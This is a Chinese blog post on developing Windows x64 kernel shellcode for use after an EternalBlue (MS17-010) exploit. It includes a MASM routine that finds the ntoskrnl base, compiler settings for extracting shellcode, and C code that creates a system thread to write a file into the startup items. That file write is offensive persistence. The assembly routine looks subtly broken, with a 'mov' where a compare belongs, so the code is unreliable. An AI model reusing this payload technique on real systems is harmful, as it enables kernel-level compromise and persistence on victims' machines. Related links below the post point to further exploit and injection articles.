编写Windows Kernel Shellcode

驱动ShellCode注入 【代码】驱动ShellCode注入。 阅读详情

网上流传的永恒之蓝漏洞利用代码中,关于内核shellcode部分,大部分都是利用APC注入的。

最近有个想法,直接利用内核代码执行权限,来写文件,于是就抄起了VS,开始写shellcode,开始以为和R3下面写shellcode一样简单…

新建个驱动的项目,按照下面修改项目的属性,然后动态获取API,再调API完成自己的功能。

// C/C++
// |-常规
// |  |-调试信息格式:程序数据库(/Zi)
// |  *-SDL检查:否(/sdl-)
// |-优化
// |  |-优化:使大小最小化(/01)
// |  |-内联函数扩展:已禁用(/0b0)
// |  |-启用内部函数:否
// |  |-优选大小或者速度:代码大小优先(/0s)
// |  *-全程序优化:是(/GL)
// |-代码生成
// |  |-基本运行时检查:默认值
// |  |-安全检查:禁用安全检查(/GS-)
// |  *-启用函数级连接:是(-Gy)
// 连接器
//  |-常规
//  |  *-启用增量连接:否(/INCREMENTAL:NO)
//  |-调试
//  |  |-生成映射文件:是(/MAP)
//  |  *-映射文件名:mapfile
//  *-  优化
//     |-引用:是(/OPT:REF)
//     |-启用COMDAT折叠:是(/OPT:ICF)
//     *-函数顺序:FunctionOrder.txt
// -[注:FunctionOrder.txt控制编译器按照指定顺序将COMDAT放到映像文件中]

项目属性配置好以后,开始写shellcode,计算要使用的内核API的名称hash,为了方便计算,我写了一个简单的MFC程序

在这里插入图片描述

问题一:获取windows7 x64 nt基址

刚开始遇到的第一个问题就是如何获取nt的基址,在内核中所有api都是从ntoskrnl.exe中导出的。

参考这个git项目 https://github.com/worawit/MS17-010.git,里面有内核shellcode的asm文件,文件中有获取nt基址的部分。

但是这个asm文件是NASM的语法,导致我用vs直接编译不了,还需要弄个nasm的编译环境。

最后我修改为MASM版本,最终得到的获取ntoskrnl.exe基址的MASM汇编如下:

.CODE
PUBLIC _getNtBase
_getNtBase PROC
  push rbx
  mov rax,QWORD PTR gs:[038h]
  mov rax,QWORD PTR[rax+04h]
  shr rax,0Ch
  shl rax,0Ch
_find_nt_walk_page:
  mov rbx,QWORD PTR[rax]
  mov bx,05A4Dh
  je _found
  sub rax,1000h
  jmp _find_nt_walk_page
_found:
  pop rbx
  ret
_getNtBase ENDP
END

https://paper.seebug.org/papers/scz/windows/201704171416.txt 这个链接中也有对永恒之蓝获取nt基址的分析。

把以上代码保存为demo.asm,添加到创建的vs驱动项目中,右键该文件,选择属性,修改项类型为: Mircrosoft Macro Assembler
在这里插入图片描述

这段汇编代码,导出了一个名为_getNtBase的函数,在vs项目中使用这个函数,需要用extern声明一下才能使用

extern HMODULE _getNtBase();

问题二:VS编译64位平台汇编文件

然后开始编译我的vs项目,在编译时,又遇到第二个问题: vs项目中的指定函数编译顺序的FunctionOrder.txt,对这个asm中的函数不起作用。

  Address         Publics by Value              Rva+Base               Lib:Object


0000:00000000       ___safe_se_handler_table   0000000000000000     <absolute>
0000:00000000       __guard_fids_count         0000000000000000     <absolute>
0000:00000000       __guard_flags              0000000000000000     <absolute>
0000:00000000       ___safe_se_handler_count   0000000000000000     <absolute>
0000:00000000       __guard_fids_table         0000000000000000     <absolute>
0001:00000000       Entry                      0000000140001000 f   main.obj
0001:00000048       EntryPoint                 0000000140001048 f   main.obj
0001:00000354       Hash_CmpString             0000000140001354 f   main.obj
0001:00000378       GetFunAddrByHash           0000000140001378 f   main.obj
0001:00000420       Unload                     0000000140001420 f   main.obj
0001:00000430       DriverEntry                0000000140001430 f   main.obj
0001:00000470       getNtBase                  0000000140001470 f   demo.obj
0001:0000049a       __C_specific_handler       000000014000149a f   ntoskrnl:ntoskrnl.exe

无论我怎么调整顺序,这个函数用于排在main.obj中所有函数后面,这意味着,我在提取shellcode时,必须把一些main.obj中无用的函数也提取上。

最后我的解决办法也很粗暴,先用masm编译这个demo.asm, 拿到二进制机器码,再拼后面直接拼接我的shellcode…

这个demo.asm获取nt基址的代码执行完,结果最终放在rax中。

问题三:IRQL级别

IRQL级别问题,这个也是卡了我时间最久的,我的shellcode思路如下:

1.获取需要的api
2.初始化需要的字符串
3.调用IoCreateFile
4.ZwWriteFile
5.ZwClose

以上思路用VS写,直接编译成驱动后,安装并运行,测试功能ok!

然后我用IDA提取shellcode,使用windbg强制改RIP,跳转到我shellcode中执行。 参考一位同事写的一篇笔记《内核调试shellcode》https://www.cnblogs.com/goabout2/p/7875372.html

强改RIP后,shellcode前面部分执行ok,但是执行IoCreateFile这个函数的时候,就蓝屏。 一直中断到内核函数内部。

在这里插入图片描述
上面windbg断下后,看起来是rax取到了错误的值导致的,甚至还分析了wrk中IopQueueThreadIrp、IopParseDevice这两个函数…

经过分析,排除是参数的问题,因为前面我写完shellcode,直接编译成驱动文件,安装执行,功能都ok的。

怀疑是IRQL级的问题,使用!irql命令可以查询处理器的IRQL级别,漏洞触发时的IRQL级别为2 = DISPATCH_LEVEL

而我shellcode中使用的IoCreateFile这个函数所需的IRQL级别为PASSIVE_LEVEL。

为了测试,是不是IRQL造成的,我尝试强制在shellcode调用IoCreateFile前面,添加一个降级的代码,如下所示:

   // 获取当前IRQL级别
   KIRQL CurrentIRQL = My_KeGetCurrentIrql();
   // 修改当前IRQL级别为PASSIVE
   if (CurrentIRQL > PASSIVE_LEVEL)
   {
       My_KeLowerIrql(PASSIVE_LEVEL);
   }
   My_KeGetCurrentIrql();

再次调试分析,并查询降级后的IRQL级别,确认为LOW_LEVEL了,也就是PASSIVE级别。

在这里插入图片描述

无奈,运行到IoCreateFile,还是蓝屏了…

分析蓝屏信息,结果还是说我IRQL级别为2,说明我那个修改不生效!!

在这里插入图片描述

不能主动降IRQL级别,除非这个级别是手动提升的。否则就会导致

经过参考一些资料,如何在DISPATCH_LEVEL运行PASSIVE_LEVEL的代码:

经过一番查找资料,大家都是推荐创建一个内核线程来做的,于是我就将shellcode最开始的代码改成了创建内核线程

VOID Entry()
{
    HMODULE hKeyModule = getNtBase();
    typedef NTSTATUS(*PtrPsCreateSystemThread)(
        _Out_      PHANDLE ThreadHandle,
        _In_       ULONG DesiredAccess,
        _In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,
        _In_opt_   HANDLE ProcessHandle,
        _Out_opt_  PCLIENT_ID ClientId,
        _In_       PKSTART_ROUTINE StartRoutine,
        _In_opt_   PVOID StartContext
        );
    PtrPsCreateSystemThread My_PsCreateSystemThread =  (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
    HANDLE hThread;
    My_PsCreateSystemThread(&hThread, 0, NULL,  NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint,  hKeyModule);
}

在EntryPoint函数中执行我IoCreatefile的一些操作!! 终于这一次不蓝屏了,文件成功被写入了启动项!!!

在这里插入图片描述

windows 平台shellcode编写 0x00、介绍 比方说你手头上有一个IE或FlashPlayer现成的漏洞利用代码,但它只能够打开计算器calc.exe。但是这实际上并没有什么卵用,不是吗?你真正想要的是可以执行一些远程命令或实现其他有用的功能。 在这种情况下,你可能想要利用已有的标准shellcode,比如来自Shell Storm数据库或由Metasploit的msfvenom工具生成。不过,你必须先理解编写shellcode的基本原则,才可以在自己的漏洞利用代码中有效地使用它们。对于不熟悉这个术语的同学们,可以参考一下维基百科: 在 阅读详情

相关推荐

ShellCode原理以及编写

0x0 ShellCode编写注意事原理 1)不能使用字符串的直接偏移 即使你在C/C++代码中定义一个全局变量,一个取值为“Hello world”的字符串,或直接把该字符串作为参数传递给某个函数。但是,编译器会把字符串放置在一个特定的Section中(如.rdata或.data)。 2)不能确定函数的地址(如printf) 在shellcode中,我们却不能以逸待劳了。因为我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载

网络安全相关文章分享 3358

CVE-2020-0796漏洞复现getshell

漏洞描述 SMB远程代码执行漏洞 SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。 漏洞原理 Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。 Windows 10和Wi

臭nana的博客 5236

rk3566-11.0新增device分区

1.增加块设备 2.修改根目录节点权限 3.开机启动自动挂载 增加块设备 1.修改parameter.txt文件,新增块设备大小及命名 device/rockchip/rk356x/rk3566_r/parameter.txt FIRMWARE_VER: 11.0 MACHINE_MODEL: rk3566_r MACHINE_ID: 007 MANUFACTURER: rockchip MAGIC: 0x5041524B ATAG: 0x00200800 MACHINE

weixin_51115260的博客 3384

CVE-2020-0796永恒之黑漏洞复现 超详细过程(成功复现)

CVE-2020-0796永恒之黑漏洞复现 超详细过程 成功复现 msf监听成功反弹shell 漏洞描述 影响版本 修复建议

unlash的博客 1万+

无人机测绘航线生成算法

JavaScript开发和测试无人机测绘航线的自动生成方法,设计可行,算法可靠

ly1302116的专栏 5235

ic后端学习笔记-floorplan

floorplan是布图规划,规划包括定义芯片的大小,定义芯片内各种模块、hard macros(硬核。比如RAM,ROM及其他IP模块等)、IO等的大小和位置,有时候还需要提前定义一些placement blockages,groups/regions等等,是后端设计的第一步,也是后续所有P&R工作的基础。floorplan与placement的区别是。

tfrofc的博客 5830

ProcExp的利用

事件的起因是这篇,简单来说就是ark工具能够打开和复制system的句柄,其中\Device\PhysicalMemory的句柄可以映射到当前进程,从而直接操作物理地址。

被遗弃的庸才博客 5116

Camera 基础知识

Raw Sensor输出的Data格式为Raw,图像的效果处理使用BB端的ISP,BB端接收Raw data后进行一系列的图像处理(OB,Shading,AWB,Gamma,EE,ANR等),效果方面由BB端控制,需要针对不同的模组进行效果调试,Raw sensor是目前的主流,数据量比YUV Sensor小(RAW10 格式的sensor 1个pixel 10个bit)使用平台ISP处理,能支持较大的size。不过,相位对焦并不是那么完美,它对光线的要求就比较高,在弱光拍摄环境下,相位对焦就无能威力了。

手机-手表蓝牙开发工程师的博客 3062

9.9 Windows驱动开发:内核远程线程实现DLL注入

在笔者上一篇文章`《内核RIP劫持实现DLL注入》`介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过`NtCreateThreadEx`这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,`NtCreateThreadEx`函数最终会调用`ZwCreateThread`,本章在寻找函数的方式上有所不同,前一章通过内存定位的方法得到所需地址,本章则是通过解析导出表实现。

微软技术分享 1万+

su03t语音模块烧录识别不出问题解决方法

su03t语音sdk烧录无法识别问题

weixin_49387645的博客 6389

量化回测框架三选一:Backtrader、Zipline、PyAlgoTrade,新手到底该跟谁学?

本文对比分析了三大量化回测框架Backtrader、Zipline和PyAlgoTrade,帮助新手选择最适合的入门工具。从安装配置、策略编写到文档查阅,详细解析各框架的特点和适用场景,为量化交易初学者提供实用指南。

weixin_28745309的博客 268

WINDOWS下的溢出程序编写技巧

WINDOWS下的溢出程序编写技巧 作者:袁哥 mail: yuange@163.net     看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。   1、JMP ESP 的问题。       为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小, 别的模块可能随着安装应用软件的

老鬼的专栏 2270

告别OpenAI API调用:手把手在本地CPU/GPU上部署fast-whisper中文语音识别模型

本文详细指导如何在本地CPU/GPU上部署fast-whisper中文语音识别模型,摆脱对OpenAI API的依赖。从环境准备、模型获取与优化,到CPU/GPU环境的具体部署步骤和性能优化技巧,全面覆盖本地化语音识别的实现方案,帮助开发者提升效率并保障数据隐私。

weixin_29988907的博客 306

关于Windows下ShellCode编写的一点思考

关于Windows下ShellCode编写的一点思考                                        By Hume/冷雨  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、watercloud等前辈的文章,但大都过于专业和简练,对我这样的初学者学习起来还是有不小的难度。因此把自己的一点想法记录下来,以慰同菜。我不是工具论者,但合适的工具无疑会提高

老鬼的专栏 2454

ENVI5.6 自动化流程:GF系列卫星影像批处理与质量优化

本文详细介绍了如何利用ENVI5.6构建针对GF-2、GF-6、GF-7系列卫星影像的自动化批处理流水线。通过配置Batch Processing工具,实现从正射校正到图像融合的全流程批量处理,并分享参数设置、质量监控与故障排查的实战经验,旨在显著提升海量遥感影像的处理效率与成果质量。

efc1234567的博客 603

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

【分析】关于Windows下ShellCode编写的一点思考

关于Windows下ShellCode编写的一点思考创建时间:2003-11-30文章属性:转载文章提交:l0pht (anonymous_at_21cn.com)关于Windows下ShellCode编写的一点思考                                        By Hume/冷雨  关于ShellCode编写的文章可谓多如牛毛。经典的有yuange、waterc

FreeXploiT 1421

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

一个通俗易懂的ShellCode例子

每当你听到ShellCode一定会想到病毒与安全。其实ShellCode并没有你想想中的那么难,它有一个特点就是把它嵌入到任何进程中都能够运行。是不是感觉很牛逼。但是我们分析一下什么代码能够不依赖任何环境呢?首先这段代码不能够有常量区、静态区数据。也就是说不能够有全局变量。还有不能有类似char str[]={"hello word"};这样的数据,因为这样的数据在常量区。同时不能够有系统调用和函...

u011569253的博客 2万+

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

od send断点 下_一步步学写Windows下的Shellcode

如何在WIndows下编写一个shellcode?为什么会问这个问题,前段时间在做win下的Exploit,但是都是使用大佬写的shellcode,无法实现个人的一些需求。而网络上编写shellcode的教程大多是关于Linux的,加之顺带学习PE文件结构,所以打算写一篇关于Windows 下shellcode的编写,为要编写Shellcdoe的读者提供一些参考。摘要:在C语言中,调用一...

weixin_30567751的博客 593

编写windows的shellcode

写windows的shellcode在很长时间是一件秘密的事。问题是,它不像Unix的shellcode, 你没有已知的系统调用API。而是,进程要加载函数指针到外部函数,比如CreateProcess或者ReadFile到内存的不同地方。

qq_41224661的博客 292

Windows平台shellcode编写原理

在漏洞利用代码也即是shellcode的编写中,存在诸多的技巧。尤其是对于windows而言,库和函数的定位都需要手动获取,不像linux使用系统调用号那样的方便。 这是我看到一个写的非常详细,非常通俗易懂的教学文章,详细的讲解了开发一个windows下shellcode的整体流程,如何定位库和函数的地址,如何处理字符串等,只要稍微有些基础就能够看懂其中的原理,写的非常赞。 来源:http:/...

iamsongyu的博客 1001

64位虚拟机下asm()语法_一步步学写Windows下的Shellcode

如何在WIndows下编写一个shellcode?为什么会问这个问题,前段时间在做win下的Exploit,但是都是使用大佬写的shellcode,无法实现个人的一些需求。而网络上编写shellcode的教程大多是关于Linux的,加之顺带学习PE文件结构,所以打算写一篇关于Windows 下shellcode的编写,为要编写Shellcdoe的读者提供一些参考。摘要:在C语言中,调用一...

weixin_29147045的博客 1028

Win 7下定位kernel32.dll基址及shellcode编写

标 题: Win 7下定位kernel32.dll基址及shellcode编写 作 者: Cryin 时 间: 2010-10-14,22:19:43 链 接: http://bbs.pediy.com/showthread.php?t=122260 Win 7下定位kernel32.dll基址及shellcode编写 Author:Cryin Data:2010.10.14 B

wgdguodong2008的专栏 847

通用ShellCode学习笔记 2003/XP/Win7/Vista/Win8 通用

一、ShellCode的编写 Kernel32地址的获取 由于win7的_PEB_LDR_DATA表和以前的系统有了改变,直接查询0x08方式在win7下失效,为了保证shellcode的通用性(主要是增加对win7的支持),采用遍历查询的方式定位kernel32的位置 esi=fs:0->TEB esi=TEB:30h->PEB esi=PEB:0ch->_P...

weixin_30396699的博客 95

FLARE Kernel Shellcode Loader 常见问题解决方案

FLARE Kernel Shellcode Loader 常见问题解决方案 项目基础介绍 FLARE Kernel Shellcode Loader 是一个用于加载内核级 shellcode 的开源项目。该项目由 Mandiant 公司开发,主要用于研究和演示如何在 Windows 内核中加载和执行 shellcode。项目的主要编程语言是 C 语言,适用于 Windows 内核驱动程序的开发。...

gitblog_00993的博客 517
上一篇: Windows内核Shellcode获取ntoskrnl.exe基址
下一篇: 获取进程基址小技巧(傀儡进程)
FFE4
博客等级 码龄9年 234粉丝 166原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值